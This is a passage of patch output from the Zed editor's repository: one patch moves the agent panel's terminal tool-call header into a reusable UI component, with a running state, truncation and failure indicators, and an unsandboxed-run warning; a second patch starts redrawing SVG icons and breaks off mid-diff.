src="https://github.com/user-attachments/assets/fb222e50-2003-4cf7-9039-7b211db3c86e"
/>

Release Notes:

- N/A
---
 .../src/conversation_view/thread_view.rs      | 244 ++++-------
 crates/agent_ui/src/ui.rs                     |   2 +
 .../agent_ui/src/ui/terminal_tool_header.rs   | 396 ++++++++++++++++++
 3 files changed, 470 insertions(+), 172 deletions(-)
 create mode 100644 crates/agent_ui/src/ui/terminal_tool_header.rs

diff --git a/crates/agent_ui/src/conversation_view/thread_view.rs b/crates/agent_ui/src/conversation_view/thread_view.rs
index 5a2ae6fd725502..b05bb2d13ab28d 100644
--- a/crates/agent_ui/src/conversation_view/thread_view.rs
+++ b/crates/agent_ui/src/conversation_view/thread_view.rs
@@ -24,7 +24,10 @@ use sandbox::{SandboxFsPolicy, SandboxNetPolicy, SandboxPolicy};
 
 use crate::completion_provider::{AvailableSkill, PromptLocalCommand};
 use crate::message_editor::SharedSessionCapabilities;
-use crate::ui::{SandboxGroup, SandboxRow, SandboxSection, SandboxStatusTooltip};
+use crate::ui::{
+    SandboxGroup, SandboxRow, SandboxSection, SandboxStatusTooltip, TerminalSandboxWarning,
+    TerminalToolHeader,
+};
 use crate::unicode_confusables;
 
 use db::kvp::KeyValueStore;
@@ -7692,17 +7695,10 @@ impl ThreadView {
             started_at.elapsed()
         };
 
-        let header_id =
-            SharedString::from(format!("terminal-tool-header-{}", terminal.entity_id()));
         let header_group = SharedString::from(format!(
             "terminal-tool-header-group-{}",
             terminal.entity_id()
         ));
-        let header_bg = cx
-            .theme()
-            .colors()
-            .element_background
-            .blend(cx.theme().colors().editor_foreground.opacity(0.025));
         let border_color = cx.theme().colors().border.opacity(0.6);
 
         let working_dir = working_dir
@@ -7723,148 +7719,70 @@ impl ThreadView {
             .read(cx)
             .is_tool_call_expanded(&tool_call.id);
 
-        let header = h_flex()
-            .id(header_id)
-            .pt_1()
-            .pl_1p5()
-            .pr_1()
-            .flex_none()
-            .gap_1()
-            .justify_between()
-            .rounded_t_md()
-            .child(
-                div()
-                    .id(("command-target-path", terminal.entity_id()))
-                    .w_full()
-                    .max_w_full()
-                    .overflow_x_scroll()
-                    .child(
-                        Label::new(working_dir)
-                            .buffer_font(cx)
-                            .size(LabelSize::XSmall)
-                            .color(Color::Muted),
-                    ),
-            )
-            .child(
-                Disclosure::new(
-                    SharedString::from(format!(
-                        "terminal-tool-disclosure-{}",
-                        terminal.entity_id()
-                    )),
-                    is_expanded,
-                )
-                .opened_icon(IconName::ChevronUp)
-                .closed_icon(IconName::ChevronDown)
-                .visible_on_hover(&header_group)
-                .on_click(cx.listener({
-                    let id = tool_call.id.clone();
-                    move |this, _event, window, cx| {
-                        this.entry_view_state.update(cx, |state, _cx| {
-                            state.toggle_tool_call_expansion(&id);
-                        });
-                        this.refresh_thread_search(window, cx);
-                        cx.notify();
-                    }
-                })),
-            )
-            .when(time_elapsed > Duration::from_secs(10), |header| {
-                header.child(
-                    Label::new(format!("({})", duration_alt_display(time_elapsed)))
-                        .buffer_font(cx)
-                        .color(Color::Muted)
-                        .size(LabelSize::XSmall),
-                )
-            })
-            .when(!command_finished && !needs_confirmation, |header| {
-                header
-                    .gap_1p5()
-                    .child(
-                        Icon::new(IconName::ArrowCircle)
-                            .size(IconSize::XSmall)
-                            .color(Color::Muted)
-                            .with_rotate_animation(2)
-                    )
-                    .child(div().h(relative(0.6)).ml_1p5().child(Divider::vertical().color(DividerColor::Border)))
-                    .child(
-                        IconButton::new(
-                            SharedString::from(format!("stop-terminal-{}", terminal.entity_id())),
-                            IconName::Stop
-                        )
-                        .icon_size(IconSize::Small)
-                        .icon_color(Color::Error)
-                        .tooltip(move |_window, cx| {
-                            Tooltip::with_meta(
-                                "Stop This Command",
-                                None,
-                                "Also possible by placing your cursor inside the terminal and using regular terminal bindings.",
-                                cx,
-                            )
-                        })
-                        .on_click({
-                            let terminal = terminal.clone();
-                            cx.listener(move |this, _event, _window, cx| {
-                                terminal.update(cx, |terminal, cx| {
-                                    terminal.stop_by_user(cx);
-                                });
-                                if AgentSettings::get_global(cx).cancel_generation_on_terminal_stop {
-                                    this.cancel_generation(cx);
-                                }
-                            })
-                        }),
+        let truncated_tooltip = truncated_output.then(|| {
+            if let Some(output) = output {
+                if output_line_count + 10 > terminal::MAX_SCROLL_HISTORY_LINES {
+                    format!(
+                        "Output exceeded terminal max lines and was \
+                         truncated, the model received the first {}.",
+                        format_file_size(output.content.len() as u64, true)
                     )
-            })
-            .when(truncated_output, |header| {
-                let tooltip = if let Some(output) = output {
-                    if output_line_count + 10 > terminal::MAX_SCROLL_HISTORY_LINES {
-                       format!("Output exceeded terminal max lines and was \
-                            truncated, the model received the first {}.", format_file_size(output.content.len() as u64, true))
-                    } else {
-                        format!(
-                            "Output is {} long, and to avoid unexpected token usage, \
-                                only {} was sent back to the agent.",
-                            format_file_size(output.original_content_len as u64, true),
-                             format_file_size(output.content.len() as u64, true)
-                        )
-                    }
                 } else {
-                    "Output was truncated".to_string()
-                };
+                    format!(
+                        "Output is {} long, and to avoid unexpected token usage, \
+                         only {} was sent back to the agent.",
+                        format_file_size(output.original_content_len as u64, true),
+                        format_file_size(output.content.len() as u64, true)
+                    )
+                }
+            } else {
+                "Output was truncated".to_string()
+            }
+        });
 
-                header.child(
-                    h_flex()
-                        .id(("terminal-tool-truncated-label", terminal.entity_id()))
-                        .gap_1()
-                        .child(
-                            Icon::new(IconName::Info)
-                                .size(IconSize::XSmall)
-                                .color(Color::Ignored),
-                        )
-                        .child(
-                            Label::new("Truncated")
-                                .color(Color::Muted)
-                                .size(LabelSize::XSmall),
-                        )
-                        .tooltip(Tooltip::text(tooltip)),
-                )
-            })
-            .when(tool_failed || command_failed, |header| {
-                header.child(
-                    div()
-                        .id(("terminal-tool-error-code-indicator", terminal.entity_id()))
-                        .child(
-                            Icon::new(IconName::Close)
-                                .size(IconSize::Small)
-                                .color(Color::Error),
-                        )
-                        .when_some(output.and_then(|o| o.exit_status), |this, status| {
-                            this.tooltip(Tooltip::text(format!(
-                                "Exited with code {}",
-                                status.code().unwrap_or(-1),
-                            )))
-                        }),
-                )
+        let header = TerminalToolHeader::new(
+            terminal.entity_id().to_string(),
+            header_group,
+            working_dir,
+            is_expanded,
+        )
+        .elapsed(time_elapsed)
+        .running(!command_finished && !needs_confirmation)
+        .on_toggle_expand(cx.listener({
+            let id = tool_call.id.clone();
+            move |this, _event, window, cx| {
+                this.entry_view_state.update(cx, |state, _cx| {
+                    state.toggle_tool_call_expansion(&id);
+                });
+                this.refresh_thread_search(window, cx);
+                cx.notify();
+            }
+        }))
+        .on_stop({
+            let terminal = terminal.clone();
+            cx.listener(move |this, _event, _window, cx| {
+                terminal.update(cx, |terminal, cx| {
+                    terminal.stop_by_user(cx);
+                });
+                if AgentSettings::get_global(cx).cancel_generation_on_terminal_stop {
+                    this.cancel_generation(cx);
+                }
             })
-;
+        })
+        .when_some(truncated_tooltip, |header, tooltip| {
+            header.truncated(tooltip)
+        })
+        .when(tool_failed || command_failed, |header| {
+            header.failed(
+                output
+                    .and_then(|o| o.exit_status)
+                    .map(|status| status.code().unwrap_or(-1)),
+            )
+        })
+        .when_some(tool_call.sandbox_not_applied.as_ref(), |header, reason| {
+            header.sandbox_warning(self.sandbox_not_applied_warning(reason, cx))
+        })
+        .command_slot(command_element);
 
         let terminal_view = self
             .entry_view_state
@@ -7882,17 +7800,7 @@ impl ThreadView {
                     .rounded_md()
             })
             .overflow_hidden()
-            .child(
-                v_flex()
-                    .group(&header_group)
-                    .bg(header_bg)
-                    .text_xs()
-                    .child(header)
-                    .child(command_element),
-            )
-            .when_some(tool_call.sandbox_not_applied.as_ref(), |this, reason| {
-                this.child(self.render_sandbox_not_applied_warning(reason, cx))
-            })
+            .child(header)
             .when(is_expanded && terminal_view.is_some(), |this| {
                 this.child(
                     div()
@@ -7942,13 +7850,11 @@ impl ThreadView {
             .into_any()
     }
 
-    /// Render the "ran without sandbox" warning shown on a terminal tool card,
-    /// tailored to *why* the sandbox wasn't applied.
-    fn render_sandbox_not_applied_warning(
+    fn sandbox_not_applied_warning(
         &self,
         reason: &SandboxNotAppliedReason,
         cx: &Context<Self>,
-    ) -> AnyElement {
+    ) -> TerminalSandboxWarning {
         // (title, detail line, docs section slug)
         let (title, detail, docs_section): (SharedString, SharedString, Option<&'static str>) =
             match reason {
@@ -7977,17 +7883,11 @@ impl ThreadView {
                 }
             };
 
-        Callout::new()
-            .severity(Severity::Warning)
-            .icon(IconName::Warning)
-            .title(title)
-            .description(detail)
-            .actions_slot(self.render_sandbox_docs_link(
-                "sandbox-not-applied-docs-link",
-                docs_section,
-                cx,
-            ))
-            .into_any_element()
+        TerminalSandboxWarning {
+            title,
+            detail,
+            docs_url: zed_urls::sandboxing_docs(docs_section, cx).into(),
+        }
     }
 
     /// Find the first terminal tool call in the thread whose sandbox couldn't be
diff --git a/crates/agent_ui/src/ui.rs b/crates/agent_ui/src/ui.rs
index 5fdb2afb5fb3cc..d2fbdf7d4c1a28 100644
--- a/crates/agent_ui/src/ui.rs
+++ b/crates/agent_ui/src/ui.rs
@@ -3,6 +3,7 @@ mod end_trial_upsell;
 mod mention_crease;
 mod model_selector_components;
 mod sandbox_status_tooltip;
+mod terminal_tool_header;
 mod undo_reject_toast;
 
 pub use agent_notification::*;
@@ -10,6 +11,7 @@ pub use end_trial_upsell::*;
 pub use mention_crease::*;
 pub use model_selector_components::*;
 pub use sandbox_status_tooltip::*;
+pub use terminal_tool_header::*;
 pub use undo_reject_toast::*;
 
 /// Returns the appropriate [`DocumentationSide`] for documentation asides
diff --git a/crates/agent_ui/src/ui/terminal_tool_header.rs b/crates/agent_ui/src/ui/terminal_tool_header.rs
new file mode 100644
index 00000000000000..f22fce6797f087
--- /dev/null
+++ b/crates/agent_ui/src/ui/terminal_tool_header.rs
@@ -0,0 +1,396 @@
+use std::time::Duration;
+
+use gpui::{AnyElement, ClickEvent, CursorStyle, Window};
+use ui::{CommonAnimationExt, Disclosure, Divider, DividerColor, Tooltip, prelude::*};
+use util::time::duration_alt_display;
+
+const ELAPSED_DISPLAY_THRESHOLD: Duration = Duration::from_secs(10);
+
+type ClickHandler = Box<dyn Fn(&ClickEvent, &mut Window, &mut App) + 'static>;
+
+pub struct TerminalSandboxWarning {
+    pub title: SharedString,
+    pub detail: SharedString,
+    pub docs_url: SharedString,
+}
+
+#[derive(IntoElement, RegisterComponent)]
+pub struct TerminalToolHeader {
+    id: SharedString,
+    hover_group: SharedString,
+    working_dir: SharedString,
+    is_expanded: bool,
+    elapsed: Option<Duration>,
+    running: bool,
+    truncated_tooltip: Option<SharedString>,
+    failed: bool,
+    exit_code: Option<i32>,
+    sandbox_warning: Option<TerminalSandboxWarning>,
+    on_toggle_expand: Option<ClickHandler>,
+    on_stop: Option<ClickHandler>,
+    command_slot: Option<AnyElement>,
+}
+
+impl TerminalToolHeader {
+    pub fn new(
+        id: impl Into<SharedString>,
+        hover_group: impl Into<SharedString>,
+        working_dir: impl Into<SharedString>,
+        is_expanded: bool,
+    ) -> Self {
+        Self {
+            id: id.into(),
+            hover_group: hover_group.into(),
+            working_dir: working_dir.into(),
+            is_expanded,
+            elapsed: None,
+            running: false,
+            truncated_tooltip: None,
+            failed: false,
+            exit_code: None,
+            sandbox_warning: None,
+            on_toggle_expand: None,
+            on_stop: None,
+            command_slot: None,
+        }
+    }
+
+    pub fn elapsed(mut self, elapsed: Duration) -> Self {
+        self.elapsed = Some(elapsed);
+        self
+    }
+
+    pub fn running(mut self, running: bool) -> Self {
+        self.running = running;
+        self
+    }
+
+    pub fn truncated(mut self, tooltip: impl Into<SharedString>) -> Self {
+        self.truncated_tooltip = Some(tooltip.into());
+        self
+    }
+
+    pub fn failed(mut self, exit_code: Option<i32>) -> Self {
+        self.failed = true;
+        self.exit_code = exit_code;
+        self
+    }
+
+    pub fn sandbox_warning(mut self, warning: TerminalSandboxWarning) -> Self {
+        self.sandbox_warning = Some(warning);
+        self
+    }
+
+    pub fn on_toggle_expand(
+        mut self,
+        handler: impl Fn(&ClickEvent, &mut Window, &mut App) + 'static,
+    ) -> Self {
+        self.on_toggle_expand = Some(Box::new(handler));
+        self
+    }
+
+    pub fn on_stop(
+        mut self,
+        handler: impl Fn(&ClickEvent, &mut Window, &mut App) + 'static,
+    ) -> Self {
+        self.on_stop = Some(Box::new(handler));
+        self
+    }
+
+    pub fn command_slot(mut self, element: impl IntoElement) -> Self {
+        self.command_slot = Some(element.into_any_element());
+        self
+    }
+}
+
+impl RenderOnce for TerminalToolHeader {
+    fn render(self, _window: &mut Window, cx: &mut App) -> impl IntoElement {
+        let show_elapsed = self
+            .elapsed
+            .is_some_and(|elapsed| elapsed > ELAPSED_DISPLAY_THRESHOLD);
+
+        let Self {
+            id,
+            hover_group,
+            working_dir,
+            is_expanded,
+            elapsed,
+            running,
+            truncated_tooltip,
+            failed,
+            exit_code,
+            sandbox_warning,
+            on_toggle_expand,
+            on_stop,
+            command_slot,
+        } = self;
+
+        let child_id = |name: &str| format!("terminal-tool-{name}-{id}");
+
+        let header_bg = cx
+            .theme()
+            .colors()
+            .element_background
+            .blend(cx.theme().colors().editor_foreground.opacity(0.025));
+
+        let header_row = h_flex()
+            .id(child_id("header"))
+            .pt_1()
+            .pl_1p5()
+            .pr_1()
+            .flex_none()
+            .gap_1()
+            .justify_between()
+            .rounded_t_md()
+            .child(
+                div().w_full().min_w_0().overflow_hidden().child(
+                    Label::new(working_dir)
+                        .buffer_font(cx)
+                        .size(LabelSize::XSmall)
+                        .color(Color::Muted)
+                        .truncate_start(),
+                ),
+            )
+            .child(
+                Disclosure::new(child_id("disclosure"), is_expanded)
+                    .opened_icon(IconName::ChevronUp)
+                    .closed_icon(IconName::ChevronDown)
+                    .visible_on_hover(&hover_group)
+                    .when_some(on_toggle_expand, |this, handler| this.on_click(handler)),
+            )
+            .when(show_elapsed, |header| {
+                let elapsed = elapsed.unwrap_or_default();
+                header.child(
+                    Label::new(format!("({})", duration_alt_display(elapsed)))
+                        .buffer_font(cx)
+                        .color(Color::Muted)
+                        .size(LabelSize::XSmall)
+                        .mr_0p5()
+                        .when(truncated_tooltip.is_some(), |s| s.mr_0()),
+                )
+            })
+            .when(running, |header| {
+                header
+                    .gap_1p5()
+                    .child(
+                        Icon::new(IconName::LoadCircle)
+                            .size(IconSize::Small)
+                            .color(Color::Muted)
+                            .with_rotate_animation(2),
+                    )
+                    .child(Divider::vertical().color(DividerColor::Border).ml_1())
+                    .child(
+                        IconButton::new(child_id("stop"), IconName::Stop)
+                            .icon_size(IconSize::Small)
+                            .icon_color(Color::Error)
+                            .tooltip(move |_window, cx| {
+                                Tooltip::with_meta(
+                                    "Stop This Command",
+                                    None,
+                                    "Also possible by placing your cursor inside the terminal \
+                                     and using regular terminal bindings.",
+                                    cx,
+                                )
+                            })
+                            .when_some(on_stop, |this, handler| this.on_click(handler)),
+                    )
+            })
+            .when_some(truncated_tooltip, |header, tooltip| {
+                header.child(
+                    IconButton::new(child_id("truncated"), IconName::Info)
+                        .cursor_style(CursorStyle::Arrow)
+                        .style(ButtonStyle::Transparent)
+                        .icon_size(IconSize::Small)
+                        .icon_color(Color::Muted)
+                        .tooltip(Tooltip::text(tooltip)),
+                )
+            })
+            .when(failed, |header| {
+                header.child(
+                    IconButton::new(child_id("failed"), IconName::Close)
+                        .cursor_style(CursorStyle::Arrow)
+                        .style(ButtonStyle::Transparent)
+                        .icon_size(IconSize::Small)
+                        .icon_color(Color::Error)
+                        .when_some(exit_code, |this, code| {
+                            this.tooltip(Tooltip::text(format!("Exited with code {code}")))
+                        }),
+                )
+            })
+            .when_some(sandbox_warning, |header, warning| {
+                let TerminalSandboxWarning {
+                    title,
+                    detail,
+                    docs_url,
+                } = warning;
+                header.child(
+                    IconButton::new(child_id("sandbox-not-applied"), IconName::LockOff)
+                        .icon_size(IconSize::Small)
+                        .tooltip(move |_window, cx| {
+                            Tooltip::with_meta(
+                                title.clone(),
+                                None,
+                                format!("{detail} Click to learn more about sandboxing."),
+                                cx,
+                            )
+                        })
+                        .on_click(move |_, _, cx| cx.open_url(&docs_url)),
+                )
+            });
+
+        v_flex()
+            .group(hover_group)
+            .text_xs()
+            .bg(header_bg)
+            .child(header_row)
+            .children(command_slot)
+    }
+}
+
+impl Component for TerminalToolHeader {
+    fn scope() -> ComponentScope {
+        ComponentScope::Agent
+    }
+
+    fn name() -> &'static str {
+        "Terminal Tool Header"
+    }
+
+    fn description() -> &'static str {
+        "The top of a terminal tool call card in the agent panel."
+    }
+
+    fn preview(_window: &mut Window, cx: &mut App) -> AnyElement {
+        let working_dir = "/Users/you/projects/zed";
+
+        let card = |_id: &'static str, header: TerminalToolHeader| {
+            v_flex()
+                .w_full()
+                .border_1()
+                .border_color(cx.theme().colors().border.opacity(0.6))
+                .rounded_md()
+                .overflow_hidden()
+                .child(
+                    header.command_slot(
+                        div().px_1p5().pb_1().child(
+                            Label::new("cargo build --release")
+                                .buffer_font(cx)
+                                .size(LabelSize::XSmall),
+                        ),
+                    ),
+                )
+                .into_any_element()
+        };
+
+        let sandbox_warning = || TerminalSandboxWarning {
+            title: "Ran without sandbox".into(),
+            detail: "Unsandboxed execution is allowed for the rest of this thread.".into(),
+            docs_url: "https://zed.dev/docs/ai/sandboxing".into(),
+        };
+
+        v_flex()
+            .gap_4()
+            .child(example_group(vec![
+                single_example(
+                    "Running",
+                    card(
+                        "running",
+                        TerminalToolHeader::new(
+                            "running",
+                            "preview-terminal-header-group-running",
+                            working_dir,
+                            false,
+                        )
+                        .running(true),
+                    ),
+                ),
+                single_example(
+                    "Finished (long-running)",
+                    card(
+                        "elapsed",
+                        TerminalToolHeader::new(
+                            "elapsed",
+                            "preview-terminal-header-group-elapsed",
+                            working_dir,
+                            false,
+                        )
+                        .elapsed(Duration::from_secs(83)),
+                    ),
+                ),
+                single_example(
+                    "Truncated output",
+                    card(
+                        "truncated",
+                        TerminalToolHeader::new(
+                            "truncated",
+                            "preview-terminal-header-group-truncated",
+                            working_dir,
+                            true,
+                        )
+                        .truncated(
+                            "Output is 2.5 MB long, and to avoid unexpected token \
+                                     usage, only 16 KB was sent back to the agent.",
+                        ),
+                    ),
+                ),
+                single_example(
+                    "Failed with exit code",
+                    card(
+                        "failed",
+                        TerminalToolHeader::new(
+                            "failed",
+                            "preview-terminal-header-group-failed",
+                            working_dir,
+                            false,
+                        )
+                        .failed(Some(101)),
+                    ),
+                ),
+                single_example(
+                    "Ran without sandbox",
+                    card(
+                        "sandbox",
+                        TerminalToolHeader::new(
+                            "sandbox",
+                            "preview-terminal-header-group-sandbox",
+                            working_dir,
+                            false,
+                        )
+                        .sandbox_warning(sandbox_warning()),
+                    ),
+                ),
+                single_example(
+                    "Long path (truncated from the start)",
+                    div()
+                        .w_80()
+                        .child(card(
+                            "long-path",
+                            TerminalToolHeader::new(
+                                "long-path",
+                                "preview-terminal-header-group-long-path",
+                                "/Users/you/Documents/GitHub/worktrees/some-monorepo/working-tree-three/packages/deeply/nested/service/backend/src",
+                                false,
+                            ),
+                        ))
+                        .into_any_element(),
+                ),
+                single_example(
+                    "Everything at once",
+                    card(
+                        "kitchen-sink",
+                        TerminalToolHeader::new(
+                            "kitchen-sink",
+                            "preview-terminal-header-group-kitchen-sink",
+                            working_dir,
+                            true,
+                        )
+                        .elapsed(Duration::from_secs(3671))
+                        .truncated("Output was truncated")
+                        .failed(Some(1))
+                        .sandbox_warning(sandbox_warning()),
+                    ),
+                ),
+            ]))
+            .into_any_element()
+    }
+}

From a496bf0ff6c0e6a1e098907a6aa7f527330d20f3 Mon Sep 17 00:00:00 2001
From: Danilo Leal <67129314+danilo-leal@users.noreply.github.com>
Date: Tue, 14 Jul 2026 07:07:58 -0300
Subject: [PATCH 438/772] Add a bunch of stray design refinement throughout
 (#60937)

This PR is a collection of grab bag UI design refinements across the
entire app. Most of them are minor icon fixes/standardizations, spacing,
and sizing tweaks.

The one change that ended up getting a bit bigger than I initially
anticipated is the debugger panel tabs improvements; added a bunch of
tweaks there to make it look slicker. A relevant change is a small
one-line change to the GPUI div element where it wouldn't add drag-over
styles to elements that aren't initially a hitbox target. Given I wanted
to pull off the drop indicator you see on the video below, this turned
out to be needed:


https://github.com/user-attachments/assets/964b456a-eef0-42bb-a433-7dac54ab8ec8

---

Release Notes:

- N/A
---
 assets/icons/file.svg                         |   5 +-
 assets/icons/file_code.svg                    |   5 +-
 assets/icons/file_diff.svg                    |   5 +-
 assets/icons/file_ignored.svg                 |   6 +-
 assets/icons/file_text_filled.svg             |   2 +-
 assets/icons/file_text_outlined.svg           |   8 +-
 assets/icons/filter.svg                       |   7 +-
 assets/icons/list_filter.svg                  |   5 -
 assets/icons/on_call.svg                      |   5 +
 assets/icons/sliders.svg                      |   8 -
 crates/collab_ui/src/collab_panel.rs          |   3 +-
 crates/debugger_ui/src/debugger_panel.rs      |  85 ++--
 crates/debugger_ui/src/dropdown_menus.rs      |  10 +-
 crates/debugger_ui/src/persistence.rs         |  16 +-
 crates/debugger_ui/src/session/running.rs     | 386 ++++++++++--------
 .../src/session/running/memory_view.rs        |  33 +-
 .../src/session/running/stack_frame_list.rs   |   2 +-
 crates/git_ui/src/branch_picker.rs            |   2 +-
 crates/git_ui/src/git_panel.rs                |   2 +-
 crates/gpui/src/elements/div.rs               |   1 +
 crates/icons/src/icons.rs                     |   3 +-
 crates/keymap_editor/src/keymap_editor.rs     |  16 +-
 .../src/highlights_tree_view.rs               |   8 +-
 .../ui/src/components/button/split_button.rs  |  27 +-
 crates/zed/src/zed/quick_action_bar.rs        |   3 +-
 25 files changed, 355 insertions(+), 298 deletions(-)
 delete mode 100644 assets/icons/list_filter.svg
 create mode 100644 assets/icons/on_call.svg
 delete mode 100644 assets/icons/sliders.svg

diff --git a/assets/icons/file.svg b/assets/icons/file.svg
index 60cf2537d9e673..037ade6827d2c2 100644
--- a/assets/icons/file.svg
+++ b/assets/icons/file.svg
@@ -1 +1,4 @@
-<svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" fill="none"><path stroke="#000" stroke-linecap="round" stroke-linejoin="round" stroke-width="1.2" d="M9.875 2H4.25c-.332 0-.65.126-.884.351-.234.226-.366.53-.366.849v9.6c0 .318.132.623.366.849.235.225.552.351.884.351h7.5c.332 0 .65-.127.884-.351.234-.225.366-.53.366-.85V5L9.875 2Z"/><path stroke="#000" stroke-linecap="round" stroke-linejoin="round" stroke-width="1.2" d="M9 2v2.667A1.333 1.333 0 0 0 10.333 6H13"/></svg>
+<svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
+<path d="M9 2V4.24394C9 4.5622 9.12643 4.86743 9.35147 5.09247C9.57652 5.31751 9.88174 5.44394 10.2 5.44394H12.5" stroke="#DCE0E5" stroke-width="1.2" stroke-linejoin="round"/>
+<path d="M10.4283 2.79015C9.95564 2.28602 9.29544 2 8.60442 2H4.625C4.32663 2 4.04048 2.12643 3.8295 2.35147C3.61853 2.57652 3.5 2.88174 3.5 3.2V12.8C3.5 13.1183 3.61853 13.4235 3.8295 13.6485C4.04048 13.8736 4.32663 14 4.625 14H11.375C11.6734 14 11.9595 13.8736 12.1705 13.6485C12.3815 13.4235 12.5 13.1183 12.5 12.8V5.98862C12.5 5.35347 12.2582 4.74213 11.8238 4.27877L10.4283 2.79015Z" stroke="#DCE0E5" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
+</svg>
diff --git a/assets/icons/file_code.svg b/assets/icons/file_code.svg
index 548d5a153ba243..b07f1c36ebc9a5 100644
--- a/assets/icons/file_code.svg
+++ b/assets/icons/file_code.svg
@@ -1 +1,4 @@
-<svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" fill="none"><path stroke="#000" stroke-linecap="round" stroke-linejoin="round" stroke-width="1.2" d="M6.8 8.3 5.6 9.8l1.2 1.5M9.2 8.3l1.2 1.5-1.2 1.5M9.2 2v2.4a1.2 1.2 0 0 0 1.2 1.2h2.4"/><path stroke="#000" stroke-linecap="round" stroke-linejoin="round" stroke-width="1.2" d="M9.8 2H4.4a1.2 1.2 0 0 0-1.2 1.2v9.6A1.2 1.2 0 0 0 4.4 14h7.2a1.2 1.2 0 0 0 1.2-1.2V5l-3-3Z"/></svg>
+<svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
+<path d="M10.4283 2.79015C9.95564 2.28602 9.29544 2 8.60442 2H4.625C4.32663 2 4.04048 2.12643 3.8295 2.35147C3.61853 2.57652 3.5 2.88174 3.5 3.2V12.8C3.5 13.1183 3.61853 13.4235 3.8295 13.6485C4.04048 13.8736 4.32663 14 4.625 14H11.375C11.6734 14 11.9595 13.8736 12.1705 13.6485C12.3815 13.4235 12.5 13.1183 12.5 12.8V5.98862C12.5 5.35347 12.2582 4.74213 11.8238 4.27877L10.4283 2.79015Z" stroke="#DCE0E5" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
+<path d="M6.80001 6.5L5.60001 8L6.80001 9.5M9.20001 6.5L10.4 8L9.20001 9.5" stroke="#DCE0E5" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
+</svg>
diff --git a/assets/icons/file_diff.svg b/assets/icons/file_diff.svg
index 193dd7392ff1ff..010a68b4ec6cc9 100644
--- a/assets/icons/file_diff.svg
+++ b/assets/icons/file_diff.svg
@@ -1 +1,4 @@
-<svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" fill="none"><path stroke="#000" stroke-linecap="round" stroke-linejoin="round" stroke-width="1.2" d="M9.8 2H4.4a1.2 1.2 0 0 0-1.2 1.2v9.6A1.2 1.2 0 0 0 4.4 14h7.2a1.2 1.2 0 0 0 1.2-1.2V5l-3-3ZM6.2 6.8h3.6M8 8.6V5M6.2 11h3.6"/></svg>
+<svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
+<path d="M10.4283 2.79015C9.95564 2.28602 9.29544 2 8.60442 2H4.625C4.32663 2 4.04048 2.12643 3.8295 2.35147C3.61853 2.57652 3.5 2.88174 3.5 3.2V12.8C3.5 13.1183 3.61853 13.4235 3.8295 13.6485C4.04048 13.8736 4.32663 14 4.625 14H11.375C11.6734 14 11.9595 13.8736 12.1705 13.6485C12.3815 13.4235 12.5 13.1183 12.5 12.8V5.98862C12.5 5.35347 12.2582 4.74213 11.8238 4.27877L10.4283 2.79015Z" stroke="#DCE0E5" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
+<path d="M6.35106 7.02662H9.64893M7.99999 8.67555V5.37769M6.35106 10.8741H9.64893" stroke="#DCE0E5" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
+</svg>
diff --git a/assets/icons/file_ignored.svg b/assets/icons/file_ignored.svg
index 2c3228c6ade3b5..e15bf125db9c59 100644
--- a/assets/icons/file_ignored.svg
+++ b/assets/icons/file_ignored.svg
@@ -1,5 +1,5 @@
 <svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
-<path d="M1.24139 2.86957L14.7586 13.1304" stroke="#DCE0E5" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
-<path d="M3.5 7.63104V12.8C3.5 13.1182 3.61853 13.4235 3.8295 13.6485C4.04048 13.8735 4.32663 14 4.625 14H11.0079" stroke="#DCE0E5" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
-<path d="M4.625 2H8.60442C9.29544 2 9.95564 2.28602 10.4283 2.79015L11.8238 4.27877C12.2582 4.74213 12.5 5.35347 12.5 5.98862V7.97886" stroke="#DCE0E5" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
+<path d="M1.91129 3.37805L14.0887 12.6219" stroke="#DCE0E5" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
+<path d="M3.94603 7.6676V12.3242C3.94603 12.6109 4.05281 12.8859 4.24288 13.0886C4.43294 13.2914 4.69073 13.4053 4.95952 13.4053H10.7097" stroke="#DCE0E5" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
+<path d="M4.95952 2.59473H8.54451C9.16704 2.59473 9.76181 2.8524 10.1876 3.30656L11.4448 4.64763C11.8362 5.06507 12.054 5.61581 12.054 6.18801V7.98098" stroke="#DCE0E5" stroke-width="1.2" stroke-linecap="round" stroke-linejoin="round"/>
 </svg>
diff --git a/assets/icons/file_text_filled.svg b/assets/icons/file_text_filled.svg
index 15c81cca620917..8aff5512de8d1b 100644
--- a/assets/icons/file_text_filled.svg
+++ b/assets/icons/file_text_filled.svg
@@ -1,3 +1,3 @@
 <svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
